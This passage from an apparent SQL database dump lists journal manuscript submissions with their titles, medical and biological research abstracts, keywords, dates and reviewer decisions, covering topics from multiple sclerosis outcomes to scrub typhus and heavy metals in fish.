experimental design with pre- and post-test control group design was employed. The sampling technique was simple random sampling of hypertensive patients. The use of glasses with red, blue and green lenses was applied to 120 hypertensive patients. Analysis was carried out to determine the effect of color on blood pressure and heart rate. Results : Blood pressure was significantly different in three groups with F (2,117) = 65.68,  p = .000. In Tukey HSD, the average score for Group 1 Blue (M =3.16, SD = 5.05), Group 2 Red (M = - 4.50, SD = 2.98), Group 3 Green (M = 4.48, SD = 2.92).  At Results for heart rate were F (2,117) = 6.99, p = .000 with Tukey HSD for  Group 1 Blue (M =  2.4, SD = 4.74), Group 2 Red (M = - 8.00, SD = 6.66), Group 3 Green (M = 2.72, SD = 2.45). Post-Hoc comparisons for all dependent variables using the Tukey test show that  Blue is not different from Green but both are different from Red, meaning blue and green have the same effect while red is the opposite. Conclusion : It was concluded  that compared to blue, green is better in lowering blood pressure and heart rate while red increases both.',' Humans, Blood Pressure, Heart Rate, Color.',456,NULL,'2019-12-31',NULL,'Submitted',4,NULL,'2019-12-31',NULL,1,0,'1',NULL,0,NULL,NULL,3,0,0,0,NULL,0),(3150,4120,959,0,'ipacr-20-3150','Massive Fungating Malignant Peripheral Nerve Sheath Tumor Arising from the Forearm – A Case Report and Literature Review ',NULL,2,0,NULL,'Background: Malignant peripheral nerve sheath tumor (MPNST) is a rare and aggressive form of sarcoma that develops within a peripheral nerve with most cases reported association with neurofibromatosis type-1 (NF1). Half of the cases were reported in the extremities and with the lungs being the most common organ for metastasis. To the best of our knowledge, this is the first case of a limb salvage surgery for an excision of a large exophytic MPNST of the forearm with wide surgical margins followed by split thickness skin graft and later a flexor carpi radials (FCR) tendon transfer.\r\nCase Presentation: A 51-year-old man presented to our center with a large fungating malignant peripheral nerve sheath tumor occupying most of his forearm for which he underwent wide local excision followed by skin graft and tendon transfer as a palliative measure, since he was found to have multiple lung nodules on staging imaging, to preserve the function of his dominant limb. The operation was performed without any complications and the patient had an excellent post-operative results. Afterwards, he was started on multiple lines of chemotherapy that failed due to disease progression and the patient passed away seven months after the operation.\r\nConclusion: Although rare and aggressive, complete surgical excision of an MPNST is considered the primary treatment option which can be achieved with wide negative margins. However, due to late diagnosis, early metastasis, and rapid local recurrence rate, few cases have been reported with a high 5-year disease-specific survival.\r\n',' Oncology, Cancer, Fungating Tumor, Malignant peripheral nerve sheath tumors, heterologous, Tumor, Forearm.',2795,NULL,'2020-01-02',NULL,'Submitted',2,NULL,'2020-06-12',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(3154,4125,73,0,'ipjnn-20-3154','Long-term follow-up of relapsing-remitting multiple sclerosis',NULL,14,0,NULL,'Background Although many studies have shown short-term benefits of disease modifying drugs (DMDs) in reducing relapse rates in patients with multiple sclerosis (MS), the data about long-term effects is more scarce and less certain. The objective of this study was to determine the natural history of relapsing-remitting multiple sclerosis, both treated and untreated, in a real-world setting.\r\nMethods We analyzed relapse rates and disability scores in 891 patients in a specialized MS clinic followed in a longitudinal database for as long as 21 years. We compared 370 patients who never received treatment with 521 who had prolonged therapy with one of the various DMDs.\r\nFindings Most patients with relapsing-remitting disease did well, and accumulation of disability was slow regardless of treatment. Among patients followed 10 years or more, mean [median] Expanded Disability Status Scale scores were 3.0 [2.0] among untreated patients and 4.2 [4.3] among treated patients (p=0.0032). There was no correlation between number of relapses and disability.\r\nConclusion Many patients have a mild course and accumulate little or no disability.  Patients with more severe disease continue to worsen despite therapy but often still do well.   \r\n',' treatment; disease-modifying drugs; database; longitudinal study; natural history; disability',337,NULL,'2020-01-03',NULL,'Submitted',2,NULL,'2020-04-06',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3177,4158,86,0,'ipaom-20-3177','Gluten free diet has different effect on the iron profile of celiac disease and non-celiac gluten sensitive patients with idiopathic iron deficiency anemia ',NULL,14,0,NULL,'Iron-deficiency anemia (IDA) is one of the most important manifestation of gluten related disorders in particular celiac disease (CD). Purpose of this study has been to evaluate the effect of a six week-long gluten free diet (GFD) on the iron profile of patients with NCGS and CD.  29 CD patients (mean age 40.28 ±15.57) and 29 NCGS patients (mean age 30.31±7.78) presented IDA were enrolled in the study during 2016. Hemoglobin, serum iron, serum ferritin, total iron binding capacity (TIBC) and transferrin saturation (TSAT) were determined at the beginning and after six weeks of GFD. HLA typing was performed by the Real-time PCR based SYBER Green method.\r\nFerritin levels significantly increased in both CD and NCGS groups after the GFD, from 43.7807 to 50.5279 ng/mL and from 23.0862 to 42.9910 ng/mL, respectively; moreover, the level of serum Iron and TSAT were significantly increased from 64.8034 to 81.3466 μg/dL and 19.29±11.70 to 23.99±9.05, in the NCGS group (p=0.003). The most frequent symptoms in CD patients and NCGS patients were bloating/bone disease (62.1%) and bone disease (37.9%) respectively. GFD was effective in improving IDA in CD and NCGS. Further studies are needed to evaluate the therapeutic effect of GFD in patients with gastrointestinal symptoms and IDA.\r\n',' Celiac disease; Non celiac gluten sensitivity; Iron deficiency anemia; Ferritin; Serum iron',2890,NULL,'2020-01-09',NULL,'Submitted',2,NULL,'2020-05-20',NULL,1,1,'0','Accept for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(3178,4159,91,0,'ijddr-20-3178','Potent Suppression of Proliferation of Breast Carcinoma Cells by a Novel Anthranilic Acid Derivative',NULL,14,0,NULL,'Background/objective: Chemotherapy remains the mainstay therapy for the most intrusive-type of breast carcinoma, triple-negative breast cancer (TNBC) that has a higher tendency for visceral metastases, relapses, and poor prognoses. It is well recognized that the reactivation of a ribonucleoprotein enzyme, telomerase is among the key determinants of breast carcinogenesis, cellular immortalization and metastatic progression. Therefore, our objectives were to assess (i) short- and (ii) long-term effects of a novel anthranilic acid (GV6) developed at our institute and compare it to a known analogue, BIBR1532 on TNBC (MDA-MB 231) and non-TNBC (MCF-7) cells.  \r\nMethods: Seeded TNBC and non-TNBC flasks were supplemented with 25uM of either BIBR 1532 or GV6 or solvent (DMSO) alone for 14 (Short-term) or 27 (Long-term) days. Trypan-blue dye exclusion test was utilized to determine viable cells, senescence-associated β-galactosidase activity was employed to detect senescent cells and qPCR was used to quantitate transcript abundance. \r\nResults: Cell viability assay revealed that short- and long-term growth inhibitions of TNBC and non-TNBC cells were comparable between BIBR1532 and GV6. Cytochemical detection of β-Galactosidase demonstrated that GV6 was equally effective in inducing replicative-senescence in treated TNBC and non-TNBC cells. Short- and long-term regimen of BIBR1532 and GV6 showed similar drug-induced downregulation of hTERT in TNBC and non-TNBC cells. \r\nConclusion: Results indicate that GV6 is an equally potent inhibitor of hTERT that induces growth impedance and triggers senescence in TNBC, as well as non-TNBC cells and merits further studies for improved treatment options.\r\n',' Anthranilic acid, Breast cancer; Cytochemistry, hTERT; Senescence ',3213,NULL,'2020-01-09',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'0','article can be published ',0,NULL,NULL,NULL,0,0,0,NULL,0),(3183,3889,277,0,'ipadm-20-3183','Leptina y su participación en la Enfermedad Arterial Coronaria',NULL,5,0,NULL,'La enfermedad cardiovascular (ECV), especialmente la enfermedad arterial coronaria (EAC) sigue siendo la principal causa de muerte y se ha convertido en el problema de salud más importante en los países desarrollados y en vía de desarrollo. En las últimas décadas, explorar los factores de riesgo para EAC y escudriñar y encontrar formas de revertir este problema global ha despertado especial atención. La obesidad se ha convertido en un problema de salud a nivel mundial, su prevalencia está aumentando rápidamente y ha sido reconocida como un factor de riesgo importante para la enfermedad coronaria. Actualmente, la obesidad se proclama como un estado proinflamatorio en el que entran a jugar factores ambientales, genéticos y neuroendocrinos. la aterosclerosis coronaria comprende una serie de respuestas inflamatorias a nivel celular y molecular altamente específicas y dinámicas, esencialmente inflamatorias por naturaleza; las cuales se encuentran más exacerbadas en pacientes obesos La grasa epicárdica constituye una parte importante de la grasa visceral. Este compartimento graso presenta una mayor producción de citocinas proinflamatorias, las cuales son responsables de la expresión de moléculas de adhesión y el aumento de sustancias quimiotácticas, que amplifican la cascada inflamatoria y se relacionan con la extensión de la EAC. La leptina, la adipocina que nos compete en este apartado, para muchos autores representa el punto medio entre la ECV y la obesidad. Es una hormona que posee un peso de 16 kDa y su nombre procede del griego “leptos” que significa delgado; se encuentra involucrada en diversos escenarios fisiológicos y patológicos. En el contexto de la EAC, posee efectos que incluyen la mejora de la agregación plaquetaria y la trombosis arterial, la lipólisis, regulación de la angiogénesis, control de la presión arterial y sistema nervioso simpático. Múltiples informes han demostrado que la leptina modula y controla la respuesta inflamatoria vascular, causa vasodilatación coronaria, activa las células progenitoras endoteliales, previene la acumulación de lípidos y protege contra la lesión por isquemia-repercusión; lo que también ha señalado su implicación en el proceso de ateroesclerosis coronaria y podría constituir una nueva diana en el marco de la EAC. A pesar de los efectos reductores de peso de la leptina, las personas obesas poseen una baja sensibilidad a la acción de la hormona y concentraciones inusualmente altas de leptina circulante, que a su vez es indicativa de resistencia a la leptina. Como consecuencia a dicha resistencia disminuye su señalización, dando paso a la génesis de su escenario patológico.En las últimas décadas, investigaciones publicadas en el campo de la cardiología amplían los interrogantes de su utilidad en pacientes con EAC. La leptina promete ser un importante biomarcador en el área de la cardiología. Sin embargo, la literatura actual está llena de resultados que siguen siendo contradictorios, lo cual genera controversias y discrepancias entre los investigadores dedicados a esta área. Por ello, se necesitan más estudios de cohorte prospectivos, bien diseñados e investigaciones controladas que confirmen los resultados de los estudios ya realizados y que permitan establecer la correcta utilidad clínica de la leptina en el marco de la EAC.','Leptina, obesidad, enfermedad arterial coronaria, ateroesclerosis, biomarcador.',2805,NULL,'2020-01-10',NULL,'Submitted',2,NULL,'2020-02-28',NULL,1,1,'0','accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(3185,4167,326,0,'IPJUS-20-3185','AMBULATORY SURGERY IN CHU HASSAN II FES',NULL,14,0,NULL,'Reducing hospital stays lengths and adoptions of outpatient surgery are the results of a policy of controlled hospital costs, improving quality of care and greater patient comfort. We conducted a retrospective study of the files of the patients operated at surgery department of CHU Hassan II of Fès. This study concerned patients having hernial, lithiasic or proctologic pathologies over 6 years from June 2009 to June 2015. Over 6 years, 4342 patients were operated at the central operating unit, 1073 among them were ambulatory cases. The hospital stay of the lithiasic blister, hernia and proctologie is respectively 7.3, 5,1 and 1day, wish remains far from figures marked in Western countries where these pathologies were practiced in ambulatory in more than 60 % of the cases. This difference is explained by the absence of politic in helth economy, but also lack of motivation of medical and ancillary medical staff for the practice of this kind of surgery which requires both organization and motivation. The contribution of the various stakeholders (government, health professionals and patients) with the establishment of a circuit ambulatory surgery (pre-anesthetic assessments, admissions office and billing consultation, hospital and operating room) in our context is synonymous with a new management culture in health spending.','Ambulatory, Surgery, Chu Hassan II',2505,NULL,'2020-01-10',NULL,'Submitted',2,NULL,'2020-02-10',NULL,1,1,'0','This manuscript is accepted to publish now.',0,NULL,NULL,NULL,0,0,0,NULL,0),(3188,4173,45,0,NULL,'Housing -Health Indicators in Rural Areas of Kurdistan Province',NULL,3,0,NULL,'Background\r\nHousing is one of the indispensable needs of every person in the society.Due to the importance of housing in human health and wellbeing; it has been identified as one of the physical indicators in planning. The aim of this study was to evaluate housing health indices in rural areas of Kurdistan province.\r\nMethods:\r\nThis was a descriptive-analytical and comparative study. The statistical population were1760 inhabitants of Kurdistan province.To measure the level of health and housing sustainability in the villages, 14 indicators related to health and quality in quantitative and qualitative dimensions were selected and compared with the average of the country.\r\nResults:\r\nThe results showed that rural areas of Kurdistan province were in poor condition.Rural areas of Kurdistan province have more than 9560 housing shortages. 46% of rural settlements use durable materials. 65% of rural settlements lack safe water, 48% lack cooling and heating sources, 79% of rural settlements lack specific waste collection sites. In terms of housing construction, only 32 percent of rural housing has direct sunlight.\r\nConclusions:\r\nThe results showed that the rural settlements of Kurdistan province are in poor health condition. Poor housing not only threatens human health but also reduces the levels of resistance to natural hazards. Therefore, there is a need to develop a comprehensive housing plan with the supervision of housing experts.\r\n','Health Indicators, Housing, Village, Kurdistan ',458,NULL,'2020-01-11',NULL,'Submitted',4,NULL,'2020-01-30',NULL,1,0,'1',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(3192,4182,73,0,'ipjnn-20-3192','Renal infarction following initiation of Fingolimod',NULL,2,0,NULL,'Fingolimod is the first oral agent approved for the management of relapsing remitting multiple sclerosis (RRMS). It was shown to reduce the progression and relapse rate of neurological disability by 30% and 54%, respectively. Reported adverse effects of the drug include bradycardia, elevated liver enzymes, mild hypertension, and macular edema. No association between fingolimod and renal infarction as an adverse effect has been presented to date. We report a case of a 45-year-old male patient with RRMS, who presented with renal infarction and was treated with fingolimod. ','Multiple sclerosis, fingolimod, sphingosine-1-phosphate, renal infarction, vascular complication.',337,NULL,'2020-01-12',NULL,'Submitted',2,NULL,'2020-05-20',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3195,4184,959,0,'ipacr-20-3195','Case reports in gastrointestinal medicine Granular cell tumor: A rare entity of the perianal region',NULL,2,0,NULL,'Granular cell tumor is a rare tumor that can occur at any location. The most frequent one is the buccal mucosa especially on the tongue, dermis and subcutaneous tissue. On few cases were reported to occur in the perianal area. Although it is an almost always a benign entity, it can be associated to an alteration of the patient’s quality of life.\r\nAlthough a malignant variant of this tumor exists, it barely presents 2% of all cases\r\nThe basic treatment is surgical excision\r\nIn our work, we report the 41st case of perianal granular cell tumor in a 52 years old female evolving during a period of one year.\r\nIn our work, we also discuss the most important epidemiological, clinical, pathological, therapreutic and prognostic features of this rare entity.','granular cell tumor, gastro intestine, buccal mucosa, prognosis',3216,NULL,'2020-01-13',NULL,'Submitted',2,NULL,'2020-02-28',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(3202,4193,639,0,'ipfs-20-3202','Maruit Lake and the Assessment of heavy metals pollution on the Health and the antioxidant responses of different species of Tilapia and Catfish (Clarias gariepinus).',NULL,14,0,NULL,'Maruit Lake considers one of the main fishing Delta lakes in Egypt and suffers from different pollutants especially heavy metals. The present study   assesses the  level of some heavy metal  in white muscles, the corresponding health risks through fish  consumption  for adult, youth and children and evaluate (the health state of  the  fish) as major nutrient compositions of  muscle and the antioxidant responses of liver tissues  in different species  of  (O.niloticus; O.aureus; T.zillii and C.  gariepinus). There were non-significant differences (P> 0.05) between different fish species in the accumulations of As, Cd, Hg and Al, while significant differences (P < 0.05) in the accumulations of Pb. The average concentrations following order:  Pb ˃ As ˃ Cd ˃Al ˃ Hg. The accumulation of As, Cd, Pb, Hg and Al ranged from (1.088-1.59); (0.925- 1.140); (1.333 –  1.738);  (0.385-  0.567); (0.518- 1.140) μg g-1ww, respectively. In Estimated Total Daily Intake (TDI) and the Provisionally Tolerable Weekly Intake (PTWI), TD1 for As in youth for T. zillii exceeded EFSA (2014) and also TDI in children and youth for C. gariepinus . For Cd, TDI and PTWI in youth and children of all examined species exceeded the reference values of EFSA (2012). For TD1 of Pb, adult in O.niloticus exceeded the reference value and the children values for all examined specious. PTWI for children and youth of Hg exceeded the reference value. For Al values, they remain under the reference value. The risks associated with the consumption of these fish species based on the calculated results of the target hazard quotient (THQ) revealed that no obvious health risks associated with consumption of these species. But the calculation results of Carcinogenic risk (CR) for all values exceeded the reference level and consequently, the consumption of these species may have health risks, especially Pb for human consumption. Significant differences (P < 0.05) in antioxidant enzymes SOD; CAT and GR but in GPx enzyme was insignificant. The antioxidant system may be useful as an early warning tool in natural monitoring studies.',' Fish; major nutrient compositions of white muscle; Antioxidant enzymes (SOD, CAT, GR, Gpx); Heavy metals accumulation; The Estimated  Total Daily Intake (TDI); The Provisionally Tolerable Weekly Intake (PTWI); metal pollution index (MPI); The Target Hazard Quotient(THQ) ; Carcinogenic risk (CR). \r\n\r\n\r\n',1771,NULL,'2020-01-14',NULL,'Submitted',2,NULL,'2020-06-12',NULL,1,1,'1','Iaccept',0,NULL,NULL,NULL,0,0,0,NULL,0),(3209,4206,73,0,'ipjnn-20-3209','Pain perception in Schizophrenia patients',NULL,14,0,NULL,'Objective: to highlight and compare the basic neurobiological mechanisms of pain transmission in schizophrenia.\r\nBackground: Diminished pain sensitivity has been reported in patients in the acute phase of psychosis, as well as in stable patients. It is thought that in patients with severe psychotic symptoms, psychotic analgesia occurs. The cause of hypoalgesia in patients with stable mental state is unknown. \r\nSubjects and Methods: A case control study was conducted on 36 participants divided into 24 schizophrenic patients, and 12 healthy individuals as a control group. They were selected from El- Menoufia university hospital and Shebin El-Kom Teaching Hospital from March 2017 to December 2018. \r\nResults: There was a significant positive correlation between demo-graphic data with the subjective pain threshold, and a highly significant positive correlation with the nociceptive threshold. Also, a highly significant positive correlation between the duration of schizophrenia disorder and both the subjective pain threshold and the nociceptive threshold. Also, there was a highly significant positive correlation between the number of the psychotic episodes and both the subjective pain threshold and the nociceptive threshold. A significant positive correlation was between the negative symptoms of schizophrenia and the subjective pain threshold, also a significant positive correlation between the cognitive impairment of schizophrenia and the subjective pain threshold. \r\nConclusions: The pain insensitivity in schizophrenia patients is not related to physiological changes in the nociceptive pathway, as we found no significant difference between case and control groups in the nociceptive thresholds.','Nociceptive Threshold, Pain, pain phenomenon, Schizophrenia, sensitivity',328,NULL,'2020-01-16',NULL,'Submitted',1,NULL,'2020-06-04',NULL,1,1,'0','Rejected',0,NULL,NULL,NULL,0,0,0,NULL,0),(3213,4213,85,0,'iphspr-20-3213','Barriers to Delivery of Health Care at Sobering Center: A Model',NULL,14,0,NULL,'Sobering centers have been set up as part of the pilot project to support the transition of individuals addicted to alcohol and illegal substance abuse to sober living through interventions based on scientific proof.  It is expected to reduce the burden on emergency rooms and increase access to healthcare to those have challenges in accessing it.  However, to receive the necessary interventions, as participants pass through the program, requires interactions of several variables that if not effective can serve as barriers to its successful implementation.  The article attempts to answer the research question.  \"What variables affect the continuation in care to the participants entering the sobering center\"?  Method: We begin by reviewing the literature surrounding some of the variables known to affect continuity in care, such as homelessness60, and, apply the findings to the setting at a sobering center, eliciting barriers and proposing recommendations for improvement in the delivery of care.  Result: The final model (Appendix A, Figure 1) identifies additional issues that can affect the continuation in care at the sobering centers such as availability of automated technology, financing of care delivery, and, efforts to understand cross-cultural issues that cause stress.  Research questions for future research have been proposed (Appendix B).',' ',2141,NULL,'2020-01-17',NULL,'Submitted',4,NULL,'2020-05-20',NULL,1,1,'0',' ',0,NULL,NULL,2,0,0,0,NULL,0),(3219,4220,45,0,'iphsj-20-3219','Trace element levels in urban Ghanaian pregnant women',NULL,10,0,NULL,'Background: Trace elements, needed in minute quantities, encompass minerals essential for normal human development and functioning of the body. These are known to be limiting in the diets, particularly of the socio-economically weaker and physiologically venerable sections of the population in developing countries. Trace elements deficiencies have been documented to play an important role in the determination of fetal outcome. Pregnant women in developing countries consume diets with a lower density of minerals and vitamins. Deficiency of the minerals in women of reproductive age is recognized as a major public health problem in many developing countries. Pregnant women are particularly vulnerable to nutritional deficiencies because of the increased metabolic demands imposed by pregnancy involving a growing placenta, fetus, and maternal tissues, coupled with associated dietary risks.\r\n\r\nAim: To estimate the levels of Zinc (Zn), Copper (Cu), Selenium (Se) and Iron (Fe) in Pregnant Women.\r\nMethod: An even number of patients within the ages of 23 – 35 years was selected to cover the three trimester groups. 5-10m/s of blood samples were taken from each patient before 9am each day. Serum was separated and kept in clean, plain tubes free of anticoagulant and frozen at -20⁰C until assayed. The samples were digested using 6mls of HNO3 and 1mls of H2O2. The digestive component was then transferred quantitatively into a volumetric flask and diluted to 20mls using deionized water. A blank was prepared in a similar fashion but without the analyte. All the samples were analysed using VARIAN 240FS Flame Atomic Absorption Spectrometer.\r\nResults: The mean controls of Zinc levels were 313±211ug/L and that for the 1st, 2st and 3rd trimesters were 101±92ug/L, 66±63ug/L and 443±321ug/L respectively.  Furthermore, the mean controls reading were statistically significant compared to the 1st trimester - (p <0.002), 2nd trimester (p <0.002) and the 3rd trimester (p <0.002).\r\nThe mean control levels of Copper were 345±261ug/L. Those for 1st, 2st and 3rd trimesters were 1349±418ug/L, 1507±388ug/L and 1811±344ug/L, respectively. Comparing the mean of the control to that of the various trimester groups, statistically, differences were seen when compared to the 1st (p <0.001), 2nd (p <0.001) and 3rd (p <0.001).\r\nThe mean for the control levels of Iron were 43.2±15.2ug/L. Those of the 1st, 2st and 3rd trimesters were 27.3±15.7ug/L, 28.7±17.2ug/L and 40.5±17ug/L, respectively. Statistically, the mean of the control was significantly different from that of the 1st trimester (p <0.001), 2nd trimester (p <0.001) and the 3rd trimester (p <0.001).\r\nThe mean control levels of selenium were 99±25ug/L. The results of the various trimesters were as follows: 1st trimester was 56±17ug/L, the 2nd trimester was 163±38ug/L and that of the 3rd trimester were 261±84ug/L. Further comparison of the control mean to the 1st, 2nd and 3rd trimesters showed statistically significant of p <0.001, p <0.001 and p <0.001. \r\n\r\nConclusion: Comparatively the mean control levels for the Zinc, Copper, Iron and Selenium were statistically significant to the mean levels of the various trimester groups.\r\n\r\n','Zinc, Copper, Selenium, Iron, Pregnant Women and Pregnancy.',2879,NULL,'2020-01-17',NULL,'Submitted',4,NULL,'2020-07-21',NULL,1,1,'0','Accepted',0,NULL,NULL,3,0,0,0,NULL,0),(3220,4221,45,0,'iphsj-20-3220','FREQUENCY OF ASSOCIATION OF PERIPHERAL ARTERY DISEASE AND CORONAROPATHIE: RESULTS OF A CROSS-SECTIONAL MONOMETRIC STUDY IN THE EASTERN ALGERIAN',NULL,14,0,NULL,'Introduction \r\nCoronary heart patients with peripheral vascular disease have a more severe cardiovascular prognosis. It therefore seems interesting to detect this association, in particular by measuring the systolic pressure index (ABI) which is a simple, non-invasive, and non-expensive way with a significant diagnostic input, in order to detect silent but threatening lesions, and identify a subgroup of coronary patients at higher cardiovascular risk, requiring more specific management.\r\nObjectives\r\n—To estimate the frequency of PAD in coronary heart patients, recruited in cardiology in the university hospital center of the city of Constantine, and to determine the risk factors for this association.\r\nPatients and methods\r\n—Our study is descriptive, cross-sectional, single-centered in cardiovascular exploration units of the University Regional Military Hospital of Constantine. The included subjects had at least one significant coronary lesion in a major coronary artery using radial Coronary angiography. An oriented anamnesis and a cardiovascular clinical examination preceded the measurement of the ABI for each patient. PAD was defined by an ABI of less than 0.90 in one of the four distal arteries of the two lower limbs. Data was analyzed and processed by means of Epi info software 8.  \r\nResults\r\n—Three hundred coronary patients, an average age of 61 years, mostly males, took part in the study. The frequency of the combination PAD and coronary artery disease was 34.7% using the ABI, asymptomatic in 18% of cases. the independent factors of the association were : Age≥ 65 [aOR 3,67 ,CI (1,975-   6,851), P <0,0001],  tobacco [aOR 4,10 CI (674-	10,069),P<0,002],  diabetes [aOR 3,48 ,CI (1,84-6,589), P<0,0001] , AHT [aOR 3,30, CI (1,703-  6,406) P<0,0001],dyslipidemia [aOR 2.32, CI (1,234 - 4,381),P<0,009], inactivity [aOR 2,14, CI (1,159-3,971) ,P<0,015] , stroke [aOR 6,4, CI (1,159- 3,971) ,P<0,015] and severe coronary impairment [aOR 2,36,CI(1,159-3,822), P<0 ,015] \r\nConclusion\r\n—ABI, in addition to being an early detection tool for PAD, its dissemination in medical practice would help in the approach and refinement of vascular risk in coronary heart patients.\r\n\r\n\r\n\r\n\r\n',' ABI, PAD, CAD.',690,NULL,'2020-01-18',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3237,4251,251,0,'ipacm-20-3237','Clinical Profile of Adult Patients suffering from Scrub Typhus in Kasturba Hospital Wardha, Central India: A Study of 125 patients.',NULL,14,0,NULL,'Background:Scrub Typhus is among the comonnest causes of Acute Undifferentiated Fever during the monsoon in central India but there is a gap in knowledge regarding the data of the clinical profile in tropical rural area. Objective: To study the clinical profile of adult patients admitted with scrub typhus during the monsoon in rural central India.\r\nMaterial and Methods: A Hospital based retrospective study was carried out in the 125 patients admitted to Medicine department of MGIMS during the monsoon period of June to September 2017. The History, clinical features, Lab profile, Treatment, complications and outcomes were studied closely.The data was retrieved from the Hospital Information System. The Outcome was studied in association with the severity of presentation, complications and treatment given. Diagnosis depended on recognising the syndrome of non specific symptoms of fever and cough, while diagnosis was confirmed using the IgM Scrub Typhus Rapid Chromatographic Test, which was considered as a Gold Standard in our study. Statistical analysis was done by descriptive and inferential statistics using chisquare test and software SPSS 22.0 version, EPI Info version 7 and Graph Pad Prism 6.0 version. \r\nResults: The clinical illness was characterized by Fever with chills(60.8 %) and Cough(68.8%).The Disease was mostly acute (97 %)presenting with a history of less than 10 days.The most characteristic physical sign was fever which was present in almost 60 percent of cases and the traditionally mentioned rash called Eschar was found in only 38 percent of patients. ARDS, nephropathy, Liver failure and  Multiorgan dysfunction occurred in 16%, 20%, 20% and 13.6% respectively. Though Scrub typhus occurs secondary to a chigger bite,only 6 patients out of 125 gave the actual history of insect bite. 9 patients out of 125 (7.2%) succumbed to death. Early treatment with Doxycycline shortened the duration of illness. No relapses occurred in those patients who received Doxycycline or Azithromycin for at least 7 days.\r\nConclusion: Serious complications can occur if Scrub typhus is not recognised promptly. Early institution of Doxycycline can save lives in the patients of acute undifferentiated fever pending investigations. General physicians should be Scrub typhus minded to suspect and accurately treat the patients of fever.','Scrub Typhus, Acute Undifferentiated Fever, Doxycycline.',783,NULL,'2020-01-21',NULL,'Submitted',2,NULL,'2020-02-27',NULL,1,1,'1','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(3248,4268,73,0,NULL,'MEMANTINE RELATED AGGRESSION AND DELUSIONS IN THE PATIENTS WITH PRIMARY PROGRESSIVE APHASIA: REPORT OF TWO CASES WITH REVIEW OF THE LITERATURE',NULL,2,0,NULL,'Primary progressive aphasia is a type of frontotemporal dementia characterized by progressive deficits isolated to language function. There are only a few studies on the use of memantine in frontotemporal dementia. However, no previous report of agitation and delusions as side effects of memantine in frontotemporal dementia could be identified in the literature. Here in this report, we present two cases of primary progressive aphasia who experienced aggression, agitation, and delusions as a result of memantine treatment with significant resolution of the signs and symptoms once the treatment was discontinued. A brief review of the literature on the relationship of memantine with such side effects is also presented. Therefore, caution must be applied when memantine is added to the regimen of the primary progressive aphasia patients.','Frontotemporal Dementia, Aphasia, Primary Progressive, Memantine, Aggression, Dementia, Alzheimer Disease,',334,NULL,'2020-01-23',NULL,'Submitted',4,NULL,'2020-01-30',NULL,1,0,'0',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(3249,4269,45,0,'iphsj-20-3249','Professional Development of Nurse Educators: Results of Focus Groups of Jordanian Nurses',NULL,14,0,NULL,'Background: Professional development is indispensable to prepare nurse educators for their role and to keep them up to date with new trends in nursing education.\r\nAims: The aim of this study was to find out the most prevailing continuing education needs of nurse educators working at nursing college. \r\n Methods: Descriptive qualitative research design was used to describe the result of three focus groups with a purposive sample of 23 nurse educators. \r\nResults: Four major themes emerged from the focus group as a result of content analysis. The themes were learning needs pertaining to professional practices, learning needs pertaining to competences, facilitating and deterring issues and professional and personal benefits.\r\n Conclusions: It is widely believed that professional development is imperative for nurse educators in order to offer suitable constant education. Implications for faculty and suggestions for further research are offered.\r\n',' Key words: Professional development, nurse, educator, Jordan, focus group\r\n',456,NULL,'2020-01-23',NULL,'Submitted',2,NULL,'2020-03-03',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3252,4273,971,0,'ipaclr-20-3252','A SPLIT MOUTH CLINICAL TRIAL TO COMPARE BETWEEN TWO DIFFERENT METHODS FOR GINGIVAL DEPIGMENTATION –SCALPEL AND DIODE LASER',NULL,14,0,NULL,'With the growing awareness about esthetics, gingival hyperpigmentation is one of the most common chief complain among patients now a days. There are various non-surgical and surgical methods introduced recently for gingival depigmentation. Laser is one of the most advanced technology used in dentistry for several surgical procedures. However ,its expensive and technique sensitive. Thus it is important to justify the use of Laser for surgical procedures like Gingival depigmentation. AIM-This case study presents  an original research done to compare the efficacy ,patient preference and satisfaction  between Laser and Scalpel for gingival depigmenation.','Gingival hyperpigmentation, Melanin,diode Laser, Scalpel.',3236,NULL,'2020-01-24',NULL,'Submitted',4,NULL,'2022-05-28',NULL,1,1,'0',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(3256,4281,86,0,'ipaom-20-3256','Cortisol, testosterone and pain levels among patients undergoing McKenzie therapy and suboccipital relaxation.',NULL,14,0,NULL,'Objective: Sedentary lifestyle and the development of consumer electronics, often associated with a faulty posture, are widespread factors contributing to cervical spine dysfunction (CSD). The purpose of our study is to compare two methods of physical therapy of CSD:  suboccipital relaxation and the McKenzie method. Their effect on perceived pain level and life quality was assessed using VAS and NDI scores. Serum Levels of biochemical stress indicators like testosterone and cortisol were also evaluated.\r\nMaterials and Methods: Eighty-six adult patients were divided into two groups, Group A and Group B. Group A included 42 patients treated using the McKenzie method. Group B consisted of 44 patients who underwent suboccipital relaxation. The therapy in both groups included 3 treatment sessions over a 6-week period. Testosterone and cortisol levels were assessed by the ELISA technique. Pain evaluation was performed using the Visual Analogue Scale (VAS). Disability level was evaluated with the Neck Disability Index (NDI).\r\nResults: In both groups, a similar improvement in VAS and NDI scores was observed.  A distinct cortisol level decrease in patients subjected to the suboccipital relaxation was noticed, while the McKenzie method did not affect cortisolemia significantly. We did not notice any difference in testosterone levels between the two groups.\r\nDiscussion: Both treatment methods contributed towards clinical improvement in our patients, represented by the drop in VAS and NDI scores. We also observed a biochemical improvement: decreased cortisol level in the group treated with suboccipital relaxation.  Due to the important role of testosterone and cortisol in the pathogenesis of chronic pain, our study should be the pilot experience  on their use as markers in CSD.',' CSD, McKenzie Methode, suboccipital relaxation',3097,NULL,'2020-01-25',NULL,'Submitted',2,NULL,'2020-05-20',NULL,1,1,'0','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(3258,4283,639,0,'ipfs-20-3258','Retention of Passive Integrated Transponders (PIT) Tags in Juvenile Rainbow Trout and Brown Trout',NULL,14,0,NULL,'Retention and mortality rates of 243 